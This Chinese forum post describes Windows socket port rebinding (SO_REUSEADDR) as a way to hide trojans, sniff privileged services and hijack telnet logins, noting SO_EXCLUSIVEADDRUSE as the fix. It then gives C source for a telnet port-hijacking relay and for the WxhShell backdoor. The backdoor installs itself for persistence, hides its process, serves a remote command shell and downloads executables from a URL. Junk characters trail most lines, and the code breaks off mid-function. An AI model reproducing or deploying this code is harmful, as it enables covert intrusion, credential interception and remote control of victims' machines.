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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _k84#E0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &(F c .3m  
=C\Tl-$\f  
  saddr.sin_family = AF_INET; \Lx=iKs<  
CK* * RZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~o}:!y  
PK\ZRl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \ovs[&  
f}otIf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a[{$4JpK  
m*0YMS>Y |  
  这意味着什么?意味着可以进行如下的攻击: 7vRtTP  
=?sG~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /\J0)V  
PN* .9;5Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )ycI.[C  
-H| 9 82=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .qBc;u  
W"{Ggk `  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8NN+Z<  
]ua3I}_B6v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hA=uoe\  
js$R^P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ">V&{a-C4  
(* -wiL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /ViY:-8s  
FW]tDGJOw  
  #include w OL,LU  
  #include An2 >]\L  
  #include fk*(8@u>  
  #include    mc{z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !Ko2yn}6l  
  int main() 3(YvqPp&  
  { Hv6h7-  
  WORD wVersionRequested; ) f?I{  
  DWORD ret; .7iRV  
  WSADATA wsaData; i_qY=*a?y  
  BOOL val; v^"\e&XL  
  SOCKADDR_IN saddr; E@VQxB7+  
  SOCKADDR_IN scaddr; /t5)&  
  int err; J[/WBVFDf  
  SOCKET s; ax@H^Gj@2  
  SOCKET sc; z} fpV T  
  int caddsize; >ohCz@~  
  HANDLE mt; 41 F;X{Br  
  DWORD tid;   y oW ~  
  wVersionRequested = MAKEWORD( 2, 2 ); .?}M(mL  
  err = WSAStartup( wVersionRequested, &wsaData ); c *KE3:  
  if ( err != 0 ) { }#z1>y!#  
  printf("error!WSAStartup failed!\n"); ?v^NimcZ  
  return -1; dx%z9[8~{.  
  } 4o>y9  
  saddr.sin_family = AF_INET; *l5?_tF  
   --h\tj\U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }[+uHR6L  
@SfQbM##%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c~0kZA6  
  saddr.sin_port = htons(23); .Fb#j+Lq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '-wmY?ZFxy  
  { b]u$!W  
  printf("error!socket failed!\n"); ljFq;!I5  
  return -1; *)m:u:   
  } }*fBHzNN  
  val = TRUE; C-M_:kQ[U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RZ6y5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y2W+YV*  
  { OG$n C  
  printf("error!setsockopt failed!\n"); T zL|{9  
  return -1; j6%W+;{/pj  
  } Q-x>yau"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #XQ/y}(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w8lrpbLh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OP/DWf  
JFv70rBe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $dfc@Fn^x  
  { T//xxH]w-  
  ret=GetLastError(); kn3w6]  
  printf("error!bind failed!\n"); s8-RXEPb  
  return -1; M0 z%<_<}  
  } *aErwGLB8  
  listen(s,2); u(vZOf]jL  
  while(1) r1!1u7dr t  
  { Wf c/?{  
  caddsize = sizeof(scaddr); v[L+PD U  
  //接受连接请求 0C zQel)L:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TdFU,  
  if(sc!=INVALID_SOCKET) *\ii +f-  
  { I`_2Q:r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Snr(<u  
  if(mt==NULL) l";Yw]:^  
  { |5u~L#P  
  printf("Thread Creat Failed!\n"); KL \>-  
  break; rLTBBvV  
  } \$9C1@B@  
  } =.`\V]  
  CloseHandle(mt); o z*;q]  
  } RV~t%Sw^  
  closesocket(s); m6R/,  
  WSACleanup(); ?/|Xie  
  return 0; E/cV59  
  }   ^E}?YgNp  
  DWORD WINAPI ClientThread(LPVOID lpParam) @a 9.s  
  { bi8_5I[  
  SOCKET ss = (SOCKET)lpParam; j]Gn\QF  
  SOCKET sc; !Z_+H<fi+I  
  unsigned char buf[4096]; k^ <]:B  
  SOCKADDR_IN saddr; !wp1Df[  
  long num;  Bx45yaT  
  DWORD val; A]c'T T@6  
  DWORD ret; bM?gAY]mB8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dN5{W0_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8N&' n  
  saddr.sin_family = AF_INET; 'T eH(?3G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n/ KO{:  
  saddr.sin_port = htons(23); W.3b]zcV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x-i1:W9;  
  { 2^[dy>[y0  
  printf("error!socket failed!\n"); tz ;3  
  return -1; 1ksFxpE  
  } vW?\bH7}I  
  val = 100; kZe<<iv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <7P[)X_  
  { b8K]>yDAh  
  ret = GetLastError(); ^J]&($-  
  return -1; `W86]ut[  
  } : UeK0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s)Y1%#  
  { { Zgd  
  ret = GetLastError(); [IAUJ09>I  
  return -1; $w(RJ/  
  } +b 6R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [9 MH"\  
  { _ [k \S|iY  
  printf("error!socket connect failed!\n"); evuZY X@  
  closesocket(sc); -G|a*^  
  closesocket(ss); 9J-b6,  
  return -1; %VNlXHO.  
  } r7m D{0s*  
  while(1) ",qU,0  
  { KW3+luI6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Li{~=S@N*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )7cb6jCU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _.)eL3OF  
  num = recv(ss,buf,4096,0); )6X.Nfkb^k  
  if(num>0) P5 <vf  
  send(sc,buf,num,0); fz_nsVD  
  else if(num==0)  ZI>km?w  
  break; v $({C  
  num = recv(sc,buf,4096,0); KA s1(oG  
  if(num>0) vIGw6BJI  
  send(ss,buf,num,0); T]9\VW4  
  else if(num==0) es:2M |#O  
  break; aptY6lGv-|  
  } tOl e>]  
  closesocket(ss); K95;rd  
  closesocket(sc); %3Z/+uT@v]  
  return 0 ; kSncZ0K{  
  } e&<yX  
0ezYdS~o  
, \)a_@@k  
========================================================== +>f<EPGn  
Q 9F)  
下边附上一个代码,,WXhSHELL ._Zt=jB  
mu]as: ~  
========================================================== f:JlZ&  
p<Z3tD;Z  
#include "stdafx.h" )u:Q) %$t  
#o`Ny4sq/  
#include <stdio.h> (]2H7X:b  
#include <string.h> PXKJ^fa  
#include <windows.h> +a@GHx 4-  
#include <winsock2.h> %|W.^q  
#include <winsvc.h> d I'SwnR  
#include <urlmon.h> JH,/jR  
~`MS~,,  
#pragma comment (lib, "Ws2_32.lib") >p\e 0n  
#pragma comment (lib, "urlmon.lib") )(M7lq.e7  
&]6) LFm  
#define MAX_USER   100 // 最大客户端连接数 gxNL_(A  
#define BUF_SOCK   200 // sock buffer ~#K@ADYr  
#define KEY_BUFF   255 // 输入 buffer gk0.zz([  
tA.`k;LT  
#define REBOOT     0   // 重启 L71!J0@a#  
#define SHUTDOWN   1   // 关机 V<Z'(UI  
-T@`hk`  
#define DEF_PORT   5000 // 监听端口 6=_~ 0PcY  
PyC0Q\$%  
#define REG_LEN     16   // 注册表键长度 1%[_`J;>Z  
#define SVC_LEN     80   // NT服务名长度 "8)z=n  
fK}h"iH+K  
// 从dll定义API E$s/]wnr[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M)-6T{[IT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >pyj]y^3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Njc%_&r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dhPKHrS  
XUMX*  
// wxhshell配置信息 8TV;Rtl  
struct WSCFG { ed 59B)?l  
  int ws_port;         // 监听端口 Q[n\R@  
  char ws_passstr[REG_LEN]; // 口令 3Mjj' 5KH!  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ol /\t  
  char ws_regname[REG_LEN]; // 注册表键名 , $*IzL~  
  char ws_svcname[REG_LEN]; // 服务名 )EM7,xMz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eP1nUy=T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5/><$06rq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^?"\?M1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b p<^R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l(W[_ D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4Aes#{R3v  
,Dmc2D  
}; ]:]H:U]p  
+]xFoH  
// default Wxhshell configuration )P&9A)8  
struct WSCFG wscfg={DEF_PORT, y8Xv~4qQW  
    "xuhuanlingzhe", 5i6 hp;=  
    1, >B -q@D  
    "Wxhshell", AIl4]F5I  
    "Wxhshell", \5 pu|2u  
            "WxhShell Service", Fe&qwq"  
    "Wrsky Windows CmdShell Service", \p&~ ,%  
    "Please Input Your Password: ", B1 0+*p(  
  1, #^#Kcg  
  "http://www.wrsky.com/wxhshell.exe", I`RBj`IF  
  "Wxhshell.exe" J:dof:q  
    }; 0X|_^"!  
GV|9H]_,I  
// 消息定义模块 shC;hR&;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :t$aN|>y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ihe(F7\U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9v )%dO.  
char *msg_ws_ext="\n\rExit."; *V^ #ga#A  
char *msg_ws_end="\n\rQuit."; &[R8Q|1 j  
char *msg_ws_boot="\n\rReboot..."; 8^^[XbH  
char *msg_ws_poff="\n\rShutdown..."; /c# `5L[  
char *msg_ws_down="\n\rSave to "; V~MiO.B  
rZ1Hf11C  
char *msg_ws_err="\n\rErr!"; $P o}  
char *msg_ws_ok="\n\rOK!"; $o?@ 0  
eJ8]g49mD6  
char ExeFile[MAX_PATH]; W_M'.1 t  
int nUser = 0; zoDZZ%{  
HANDLE handles[MAX_USER]; .lG5=Th!  
int OsIsNt; PaB!,<A  
*4Fr&^M\  
SERVICE_STATUS       serviceStatus; -4#2/GXNO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^n.WZUk  
ws/63 d*  
// 函数声明 EpPf _ \o  
int Install(void); ^4Am %yyT  
int Uninstall(void); `b5 @}',  
int DownloadFile(char *sURL, SOCKET wsh); A1Y7;-D  
int Boot(int flag); <G8w[hs  
void HideProc(void); %GEJnJ  
int GetOsVer(void); &NZfJs  
int Wxhshell(SOCKET wsl); t/oN>mQG  
void TalkWithClient(void *cs); NtGn88='{  
int CmdShell(SOCKET sock); cS .i  
int StartFromService(void); w)] H ^6  
int StartWxhshell(LPSTR lpCmdLine); 4 {GU6v)f  
F51.N{'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C_fY %O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V,v[y\  
VObrlOkp  
// 数据结构和表定义 j5$BK[p.  
SERVICE_TABLE_ENTRY DispatchTable[] = *!e(A ]&  
{ <-Bx&Q  
{wscfg.ws_svcname, NTServiceMain}, &<'n^n  
{NULL, NULL} a?5[k}\  
}; Z(0@1l`Z-`  
`BFIC7a  
// 自我安装 ~:Uw g+]j  
int Install(void) hPhZUL%  
{ 6 &U+6gb  
  char svExeFile[MAX_PATH]; ZUXr!v/R:1  
  HKEY key; #%3rTU  
  strcpy(svExeFile,ExeFile); W1aa:hEf  
C.  MoKa3  
// 如果是win9x系统,修改注册表设为自启动 C&\5'[*  
if(!OsIsNt) { >XW*T5aUA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $K~LM8_CKy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $3+PbYY  
  RegCloseKey(key); RuW!*LI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |dE -^"_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >cmE t  
  RegCloseKey(key); 9?T{}| ?  
  return 0; ^D67y%  
    } BfTcI)  
  } /nx'Z0&+X  
} *v%rMU7,  
else { L *[K>iW  
wRNroQ  
// 如果是NT以上系统,安装为系统服务 =dP{Gh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c>bq%}  
if (schSCManager!=0) 4IdT'  
{ vm23U^VJ  
  SC_HANDLE schService = CreateService O!1TthI  
  ( <msxHw  
  schSCManager, s$h] G[x  
  wscfg.ws_svcname, PG5- ;i/  
  wscfg.ws_svcdisp, 0pe3L   
  SERVICE_ALL_ACCESS, +0z 7KO%^^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d?,M/$h  
  SERVICE_AUTO_START, 0\{BWNK  
  SERVICE_ERROR_NORMAL, OU DcY@x~  
  svExeFile, ^ ?hA@{T/1  
  NULL, %%%fL;-y  
  NULL, Wk;5/  
  NULL, Pj#'}ru!  
  NULL, {y kYW%3s  
  NULL XV>JD/K2  
  ); YOyX[&oi  
  if (schService!=0) rPzQ8<  
  { sPAg)6&M  
  CloseServiceHandle(schService); 0Rxe~n1o  
  CloseServiceHandle(schSCManager); +m\|e{G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }peBR80tQ  
  strcat(svExeFile,wscfg.ws_svcname); [Bb utGvj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1MkI0OZE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XhU@W}}  
  RegCloseKey(key); T".]m7!  
  return 0; Mc sTe|X  
    } -7>)i  
  } ("7M b{  
  CloseServiceHandle(schSCManager); *mG`_9  
} /Poet%XvRx  
} (3vHY`9  
&7?R+ZGo  
return 1; DsDzkwJE  
} y k161\  
)(Iy<Y?#  
// 自我卸载 Tm]nEl)_  
int Uninstall(void) ,0$)yZ3*3,  
{ kW=z+  
  HKEY key; nCg66-3A  
sE(HZR1  
if(!OsIsNt) { D6D1S/:ij'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q<tu)Qo  
  RegDeleteValue(key,wscfg.ws_regname); `A%^UCd  
  RegCloseKey(key); Z*{] ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ye 6H*K  
  RegDeleteValue(key,wscfg.ws_regname); YL^=t^ !4  
  RegCloseKey(key); -!qu"A:  
  return 0; w6|9|f/  
  } 6x{<e4<n  
} Tz&Y]#h_  
} wy1X\PJjH  
else { }SyxPXs  
!SOrCMHx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eZhPu'id\s  
if (schSCManager!=0) dP$GThGl  
{ M s9E@E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qgt[~i*  
  if (schService!=0) 3{Nbp  
  { %rQuBi# 1f  
  if(DeleteService(schService)!=0) { !%mAh81{&/  
  CloseServiceHandle(schService); $Byj}^;1  
  CloseServiceHandle(schSCManager); iSRpfU  
  return 0; Eq% @"-m o  
  } D,l,`jv*  
  CloseServiceHandle(schService); %9C@ Xl  
  } _Yb _D/  
  CloseServiceHandle(schSCManager); ~0"p*?^  
} N8cAqr  
} 5}ie]/[|  
=iB,["s  
return 1; 9D\4n  
} Uh}seB#mJj  
V5}nOGV9  
// 从指定url下载文件 vEM(bT=H  
int DownloadFile(char *sURL, SOCKET wsh) Zx }&c |Q  
{ Z]w# vLR  
  HRESULT hr; vQVK$n`  
char seps[]= "/"; >r/rc`Q  
char *token; XhzGLYb~I`  
char *file; Rn%N&1 Ef  
char myURL[MAX_PATH]; Ko>&)%))$X  
char myFILE[MAX_PATH]; f67NWFX  
}0 hL~i  
strcpy(myURL,sURL); N<|$h5isq  
  token=strtok(myURL,seps); Q~D`cc|]  
  while(token!=NULL) IHfzZHy  
  { `L;eba  
    file=token; O^>jdl!TZ  
  token=strtok(NULL,seps); _:n b&B  
  } Gm`}(;(A  
TOF '2&H  
GetCurrentDirectory(MAX_PATH,myFILE); ajl 2I/D  
strcat(myFILE, "\\"); ChryJRuwv5  
strcat(myFILE, file); hlZ@Dq%f  
  send(wsh,myFILE,strlen(myFILE),0); UAF<m1  
send(wsh,"...",3,0); $$Vt7"F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _;A $C(  
  if(hr==S_OK) ?eV(1 Fr@  
return 0; .V9e=yW!*  
else zboF 1v`  
return 1; fJ*:{48  
hw_JDv+  
} r5&I? 0   
x Ha=3n  
// 系统电源模块 !%<^K.wG  
int Boot(int flag) kU5.iK'  
{ 4Q=ftY<  
  HANDLE hToken; 3Rg}+[b  
  TOKEN_PRIVILEGES tkp; fyz nuUl  
egR9AEJvz  
  if(OsIsNt) { O[17";P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s}&bJ"!Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "i.r@<)S  
    tkp.PrivilegeCount = 1; nm$Dd~mxW1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Thy=yz;p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $DFv30 f  
if(flag==REBOOT) { bok.j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <BWkUZz\P|  
  return 0; kpwt]]e*  
} hli|B+:m"  
else { Oh.ZPG=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *x~xWg9^  
  return 0; 1RLY $M  
} WE}kTq  
  } Hs"(@eDV&J  
  else { 6TWWl U^e  
if(flag==REBOOT) { 5/[H+O1;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u/b7Z`yX}  
  return 0; kID[#g'  
} Q0?\]2eet9  
else { gIWrlIV{9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mAgF73,3  
  return 0; V{-AP=C7  
} n;HHogA  
} eC DIwB28  
8GPIZh'0 h  
return 1; c;f!!3&  
} ymY1o$qWB}  
5OIc(YhYf  
// win9x进程隐藏模块 K)7zKEp`cj  
void HideProc(void) MOn,Db$  
{ A % Q!^d  
(9\;A*CZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6q<YJ.,  
  if ( hKernel != NULL ) yAT^VRbv  
  { {s?M*_{|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 05Fz@31~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 148V2H)  
    FreeLibrary(hKernel); ?[TfpAtQ`  
  } dCYCHHHF  
Zt -1h{7  
return; + Y.1)i}  
} _R|Ify#J  
B@Co'DV[/]  
// 获取操作系统版本 \e=_ 2^v!_  
int GetOsVer(void) D'<VYl"/  
{ l@j.hTO<  
  OSVERSIONINFO winfo; vg Ipj3u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %z]U LEYrZ  
  GetVersionEx(&winfo); *YTo{~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kB:Uu }(=N  
  return 1; :pX`?Ew`g  
  else C-eA8pYY/  
  return 0; -Ue$T{;RoH  
} \mM<\-'p  
|rw%FM{F  
// 客户端句柄模块 N(6|yZ<J3M  
int Wxhshell(SOCKET wsl) mM.*b@d-  
{ >DM44  
  SOCKET wsh; gyHHoZc3  
  struct sockaddr_in client; :nHKl  
  DWORD myID; /StTb,  
@tohNO>  
  while(nUser<MAX_USER) "|Fy+'5}  
{ 0Q,g7K<d  
  int nSize=sizeof(client); }uHrto3M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kemw^48ts  
  if(wsh==INVALID_SOCKET) return 1; GY3 Wj  
;rI@ *An  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5V[oE\B  
if(handles[nUser]==0) ulT8lw='  
  closesocket(wsh); . JX EK  
else l5%G'1w#,j  
  nUser++; $w)~O<_U  
  } TlL^7f}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'AGto'Yy;  
1sE?YJP-  
  return 0; 8*SDiZ  
} _8fr6tO+  
9 Gy  
// 关闭 socket +:=(#Y  
void CloseIt(SOCKET wsh) (YBMsh  
{ %V &n*3  
closesocket(wsh); [AH6~-\x  
nUser--; ( m\$hX  
ExitThread(0); v$~QCtc  
} L$'[5"ma ;  
#&<)! YY5  
// 客户端请求句柄 \]Kh[z0"  
void TalkWithClient(void *cs) 3uU]kD^  
{ mC&=X6Q]  
e+v({^k  
  SOCKET wsh=(SOCKET)cs; yNW\?Z$@q  
  char pwd[SVC_LEN]; uY_SU-v  
  char cmd[KEY_BUFF]; m p<1yY]  
char chr[1]; <99M@ cF  
int i,j; c0c|z Ym  
m42T9wSsx  
  while (nUser < MAX_USER) { ^2d!*W|  
'ckQg=zPR  
if(wscfg.ws_passstr) { lN,/3\B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O1%pxX'`S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Bz0^ 1,L  
  //ZeroMemory(pwd,KEY_BUFF); Y3kA?p0  
      i=0; <9ig?{'  
  while(i<SVC_LEN) { CO-_ea U(  
U~{du;\  
  // 设置超时 nKR{ug>I)  
  fd_set FdRead; ?oZR.D|SZ  
  struct timeval TimeOut; NW~z&8L  
  FD_ZERO(&FdRead); c,so`I3rI  
  FD_SET(wsh,&FdRead); u$%t)2+$4  
  TimeOut.tv_sec=8; U<XSj#&8|  
  TimeOut.tv_usec=0; IJTtqo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qjx?ri//  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s?8<50s  
9[!,c`pw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u&G.4QQF  
  pwd=chr[0]; (>J4^``x=  
  if(chr[0]==0xd || chr[0]==0xa) { MRU7W4W-~/  
  pwd=0; s}5cSU!|  
  break; !$2Z-!  
  } u4z&!MT}  
  i++; fA'qd.{f^  
    } ly% F."v  
ob+euCuJ  
  // 如果是非法用户,关闭 socket f>'Y(dJ'W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 86@c't@  
} 3mPjpm  
:^UFiUzrE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '65LKD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  zYXV;  
f}guv~K  
while(1) { =U|N=/y#hJ  
gTRF^knrY  
  ZeroMemory(cmd,KEY_BUFF); ' |-JWH  
e\O/H<  
      // 自动支持客户端 telnet标准   Gm*X'[\DD  
  j=0; P"sA  
  while(j<KEY_BUFF) { p=/m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XdH\OJ  
  cmd[j]=chr[0]; Q{e\}wN  
  if(chr[0]==0xa || chr[0]==0xd) { :Xc@3gF  
  cmd[j]=0; O1')nYF7  
  break; tx?dIy;  
  } CctJFcEZ  
  j++; 9&<x17'  
    } cj11S>D  
a^,(v  
  // 下载文件 w[P4&?2:  
  if(strstr(cmd,"http://")) { f#ri'&}c :  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0"~i ^   
  if(DownloadFile(cmd,wsh)) t 6v/sZ{F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]v+31vdf:O  
  else <dyewy*.L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 12Y  
  } 1+?^0%AC  
  else { hsu{eyp  
54zlnM$  
    switch(cmd[0]) { q7u'_ R,;  
  UMX@7a,[3  
  // 帮助 (a9d/3M  
  case '?': { \.M*lqI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TLehdZ>^  
    break; @cU&n6C@  
  } boG_f@dv(  
  // 安装 1+?N#Fh  
  case 'i': { hY`\&@  
    if(Install()) ybp -$e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <w3!!+oK"  
    else Z"unF9`"1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YBh'EL}P  
    break; r'gOVi4t1*  
    } {v3P9s(  
  // 卸载 yDNOtC|  
  case 'r': { g+X}c/" .  
    if(Uninstall()) k4 F"'N   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cu6%h>@K$  
    else $1SUU F\.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);   TX  
    break; "Ks,kSEzu  
    } :1Sl"?xU  
  // 显示 wxhshell 所在路径 {k rswh3  
  case 'p': { ;# Q%j%J  
    char svExeFile[MAX_PATH]; 3_A *$  
    strcpy(svExeFile,"\n\r"); $.]l!cmi%Q  
      strcat(svExeFile,ExeFile); 86nN"!{l:  
        send(wsh,svExeFile,strlen(svExeFile),0); arf8xqR-U]  
    break; +^;JS3p@\  
    } ,AT[@  
  // 重启 (p%>j0<  
  case 'b': { A_KW(;50  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >M&3Y XC  
    if(Boot(REBOOT)) ](|\whI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ID/ F  
    else { HV<Lf 6gE  
    closesocket(wsh); 1'? 4m0W1  
    ExitThread(0); R :B^  
    } _UuC,Pl3  
    break; `-LGU7~+  
    } (Cq n6 dWK  
  // 关机 :%IoME   
  case 'd': { 6-O_\Cq8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bJs9X/E  
